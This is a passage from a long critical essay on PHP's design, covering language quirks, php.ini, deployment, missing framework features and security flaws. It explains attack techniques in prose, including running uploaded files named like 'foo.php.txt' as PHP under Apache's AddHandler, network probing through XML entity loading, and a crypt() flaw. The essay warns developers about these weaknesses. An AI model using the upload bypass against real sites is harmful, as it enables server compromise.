• create_function is basically a wrapper around eval. It creates a function with a regular name and installs it globally (so it will never be garbage collected—don’t use in a loop!). It doesn’t actually know anything about the current scope, so it’s not a closure. The name contains a NUL byte so it can never conflict with a regular function (because PHP’s parser fails if there’s a NUL in a file anywhere).
• Declaring a function named __lambda_func will break create_function—the actual implementation is to eval-create the function named __lambda_func, then internally rename it to the broken name. If __lambda_func already exists, the first part will throw a fatal error.

Other

• Incrementing (++) a NULL produces 1. Decrementing (--) a NULL produces NULL. Decrementing a string likewise leaves it unchanged.
• There are no generators.

Web framework

Execution

• A single shared file, php.ini, controls massive parts of PHP’s functionality and introduces complex rules regarding what overrides what and when. PHP software that expects to be deployed on arbitrary machines has to override settings anyway to normalize its environment, which largely defeats the use of a mechanism like php.ini anyway.
  • PHP looks for php.ini in a variety of places, so it may (or may not…) be possible to override your host’s. Only one such file will ever be parsed, though, so you can’t just override a couple settings and call it a day.

• PHP basically runs as CGI. Every time a page is hit, PHP recompiles the whole thing before executing it. Even dev servers for Python toy frameworks don’t act like this.

  This has led to a whole market of “PHP accelerators” that just compile once, accelerating PHP all the way to any other language. Zend, the company behind PHP, has made this part of their business model.

• For quite a long time, PHP errors went to the client by default—I guess to help during development. I don’t think this is true any more, but I still see the occasional mysql error spew at the top of a page.
• PHP is full of strange “easter eggs” like producing the PHP logo with the right query argument. Not only is this completely irrelevant to building your application, but it allows detecting whether you’re using PHP (and perhaps roughly guessing what version), regardless of how much mod_rewrite, FastCGI, reverse proxying, or Server: configuration you’re doing.
• Blank lines before or after the <?php ... ?> tags, even in libraries, count as literal text and is interpolated into the response (or causes “headers already sent” errors). Your options are to either strictly avoid extra blank lines at the end of every file (the one after the ?> doesn’t count) or to just leave off the ?> closing token.

Deployment

Deployment is often cited as the biggest advantage of PHP: drop some files and you’re done. Indeed, that’s much easier than running a whole process as you may have to do with Python or Ruby or Perl. But PHP leaves plenty to be desired.

Across the board, I’m in favor of running Web applications as app servers and reverse-proxying to them. It takes minimal effort to set this up, and the benefits are plenty: you can manage your web server and app separately, you can run as many or few app processes on as many machines as you want without needing more web servers, you can run the app as a different user with zero effort, you can switch web servers, you can take down the app without touching the web server, you can do seamless deployment by just switching where a fifo points, etc. Welding your application to your web server is absurd and there’s no good reason to do it any more.

• PHP is naturally tied to Apache. Running it separately, or with any other webserver, requires just as much mucking around (possibly more) as deploying any other language.
• php.ini applies to every PHP application run anywhere. There is only one php.ini file, and it applies globally; if you’re on a shared server and need to change it, or if you run two applications that need different settings, you’re out of luck; you have to apply the union of all necessary settings and pare them down from inside the apps themselves using ini_set or in Apache’s configuration file or in .htaccess. If you can. Also wow that is a lot of places you need to check to figure out how a setting is getting its value.
• Similarly, there is no easy way to “insulate” a PHP application and its dependencies from the rest of a system. Running two applications that require different versions of a library, or even PHP itself? Start by building a second copy of Apache.
• The “bunch of files” approach, besides making routing a huge pain in the ass, also means you have to carefully whitelist or blacklist what stuff is actually available, because your URL hierarchy is also your entire code tree. Configuration files and other “partials” need C-like guards to prevent them from being loaded directly. Version control noise (e.g., .svn) needs protecting. With mod_php, everything on your filesystem is a potential entry point; with an app server, there’s only one entry point, and only the URL controls whether it’s invoked.
• You can’t seamlessly upgrade a bunch of files that run CGI-style, unless you want crashes and undefined behavior as users hit your site halfway through the upgrade.

• Despite how “simple” it is to configure Apache to run PHP, there are some subtle traps even there. While the PHP docs suggest using SetHandler to make .php files run as PHP, AddHandler appears to work just as well, and in fact Google gives me twice as many results for it. Here’s the problem.

  When you use AddHandler, you are telling Apache that “execute this as php” is one possible way to handle .php files. But! Apache doesn’t have the same idea of file extensions that every human being on the planet does. It’s designed to support, say, index.html.en being recognized as both English and HTML. To Apache, a file can have any number of file extensions simultaneously.

  Imagine you have a file upload form that dumps files into some public directory. To make sure nobody uploads PHP files, you just check that they don’t have a .php extension. All an attacker has to do is upload a file named foo.php.txt; your uploader won’t see a problem, but Apache will recognize it as PHP, and it will happily execute.

  The problem here isn’t “using the original filename” or “not validating better”; the problem is that your web server is configured to run any old code it runs across—precisely the same property that makes PHP “easy to deploy”. CGI required +x, which was something, but PHP doesn’t even do that. And this is no theoretical problem; I’ve found multiple live sites with this issue.

Missing features

I consider all of these to be varying levels of critical for building a Web application. It seems reasonable that PHP, with its major selling point being that it’s a “Web language”, ought to have some of them.

• No template system. There’s PHP itself, but nothing that acts as a big interpolator rather than a program.
• No XSS filter. No, “remember to use htmlspecialchars” is not an XSS filter. This is.
• No CSRF protection. You get to do it yourself.
• No generic standard database API. Stuff like PDO has to wrap every individual database’s API to abstract the differences away.
• No routing. Your website looks exactly like your filesystem. Many developers have been tricked into thinking mod_rewrite (and .htaccess in general) is an acceptable substitute.
• No authentication or authorization.
• No dev server. (“Fixed” in 5.4. Led to the Content-Length vuln below. Also, you have to port all your rewrite rules to a PHP wrapper thing, because there’s no routing.)
• No interactive debugging.
• No coherent deployment mechanism; only “copy all these files to the server”.

Security

Language boundaries

PHP’s poor security reputation is largely because it will take arbitrary data from one language and dump it into another. This is a bad idea. "<script>" may not mean anything in SQL, but it sure does in HTML.

Making this worse is the common cry for “sanitizing your inputs”. That’s completely wrong; you can’t wave a magic wand to make a chunk of data inherently “clean”. What you need to do is speak the language: use placeholders with SQL, use argument lists when spawning processes, etc.

• PHP outright encourages “sanitizing”: there’s an entire data filtering extension for doing it.
• All the addslashes, stripslashes, and other slashes-related nonsense are red herrings that don’t help anything.
• There is, as far as I can tell, no way to safely spawn a process. You can ONLY execute a string via the shell. Your options are to escape like crazy and hope the default shell uses the right escaping, or pcntl_fork and pcntl_exec manually.
• Both escapeshellcmd and escapeshellarg exist with roughly similar descriptions. Note that on Windows, escapeshellarg does not work (because it assumes Bourne shell semantics), and escapeshellcmd just replaces a bunch of punctuation with spaces because nobody can figure out Windows cmd escaping (which may silently wreck whatever you’re trying to do).
• The original built-in MySQL bindings, still widely-used, have no way to create prepared statements.

To this day, the PHP documentation on SQL injection recommends batty practices like type-checking, using sprintf and is_numeric, manually using mysql_real_escape_string everywhere, or manually using addslashes everywhere (which “may be useful”!). There is no mention of PDO or paramaterization, except in the user comments. I complained about this very specifically to a PHP dev at least two years ago, he was alarmed, and the page has never changed.

Insecure-by-default

• register_globals. It’s been off by default for a while by now, and it’s gone in 5.4. I don’t care. This is an embarrassment.
• include accepting HTTP URLs. Likewise.
• Magic quotes. So close to secure-by-default, and yet so far from understanding the concept at all. And, likewise.
• You can, say, probe a network using PHP’s XML support, by abusing its ubiquitous support for filenames-as-URLs. Only libxml_disable_entity_loader() can fix this, and the problem is only mentioned in the manual comments.

Core

The PHP interpreter itself has had some fascinating security problems.

• In 2007 the interpreter had an integer overflow vulnerability. The fix started with if (size > INT_MAX) return NULL; and went downhill from there. (For those not down with the C: INT_MAX is the biggest integer that will fit in a variable, ever. I hope you can figure out the rest from there.)
• More recently, PHP 5.3.7 managed to include a crypt() function that would, in effect, let anyone log in with any password.
• PHP 5.4’s dev server is vulnerable to a denial of service, because it takes the Content-Length header (which anyone can set to anything) and tries to allocate that much memory. This is a bad idea.

I could dig up more but the point isn’t that there are X many exploits—software has bugs, it happens, whatever. The nature of these is horrifying. And I didn’t seek these out; they just happened to land on my doorstep in the last few months.

Conclusion

Some commentary has rightfully pointed out that I don’t have a conclusion. And, well, I don’t have a conclusion. If you got all the way down here, I assumed you agreed with me before you started :)

If you only know PHP and you’re curious to learn something else, give the Python tutorial a whirl and try Flask for the web stuff. (I’m not a huge fan of its template language, but it does the job.) It breaks apart the pieces of your app, but they’re still the same pieces and should look familiar enough. I might write a real post about this later; a whirlwind introduction to an entire language and web stack doesn’t belong down here.

Later or for bigger projects you may want Pyramid, which is medium-level, or Django, which is a complex monstrosity that works well for building sites like Django’s.

If you’re not a developer at all but still read this for some reason, I will not be happy until everyone on the planet has gone through Learn Python The Hard Way so go do that.

There’s also Ruby with Rails and some competitors I’ve never used, and Perl is still alive and kicking with Catalyst. Read things, learn things, build things, go nuts.

Credits

Thanks to the following for inspiration:

• PHP turtles
• PHP sadness
• PHP WTF
• YourLanguageSucks
• PHP in contrast to Perl
• Pi’s dense, angry, inspirational rant
• PHP is not an acceptable COBOL
• the PHP documentation
• a ton of PHP fanatics and PHP counter-fanatics
• and, of course, Rasmus Lerdorf for his wild misunderstanding of most of Perl

Let me know if you have any additions, or if I’m (factually!) wrong about something.